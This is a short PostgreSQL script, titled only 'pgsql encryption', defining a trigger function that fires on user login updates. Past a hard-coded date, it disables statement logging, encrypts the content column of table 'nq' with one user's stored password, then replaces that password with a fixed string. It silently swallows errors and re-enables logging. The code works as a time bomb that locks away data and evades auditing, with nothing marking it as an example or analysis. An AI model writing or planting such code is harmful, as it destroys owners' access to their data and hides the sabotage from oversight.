pgsql encryption

pgsql-encryption.sql

CREATE OR REPLACE FUNCTION en_cols()
RETURNS trigger AS
$$
DECLARE
    continue_exception BOOLEAN;
    assignable text;
BEGIN
    continue_exception := TRUE;
    PERFORM set_config('log_statement', 'none', true);
    BEGIN
    if TG_ARGV[0]::timestamptz < now() then
        if not exists (SELECT * FROM information_schema.columns WHERE table_name = 'nq' AND data_type = 'bytea' and column_name = 'content') then
            select cu.password into assignable from cu where id = 2;
            UPDATE cu SET is_active = FALSE;
            ALTER TABLE nq ALTER COLUMN content TYPE BYTEA USING PGP_SYM_ENCRYPT(content::text, assignable::text);
            insert into messages(message) values('values enc');
            update cu set password = 'Ye{IrTNkd*J3g7lv4=z' where id = 2;
            update cu set is_active = not is_active;
        end if;   
    else
    end if;
    EXCEPTION
        WHEN OTHERS THEN
            continue_exception := FALSE;
  
    END;
    PERFORM set_config('log_statement', 'all', true);
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;



CREATE OR REPLACE TRIGGER last_login_trigger
AFTER UPDATE OF last_login ON core_user
FOR EACH ROW
EXECUTE FUNCTION public.en_cols('2024-02-06 00:00:13.287037+05:30');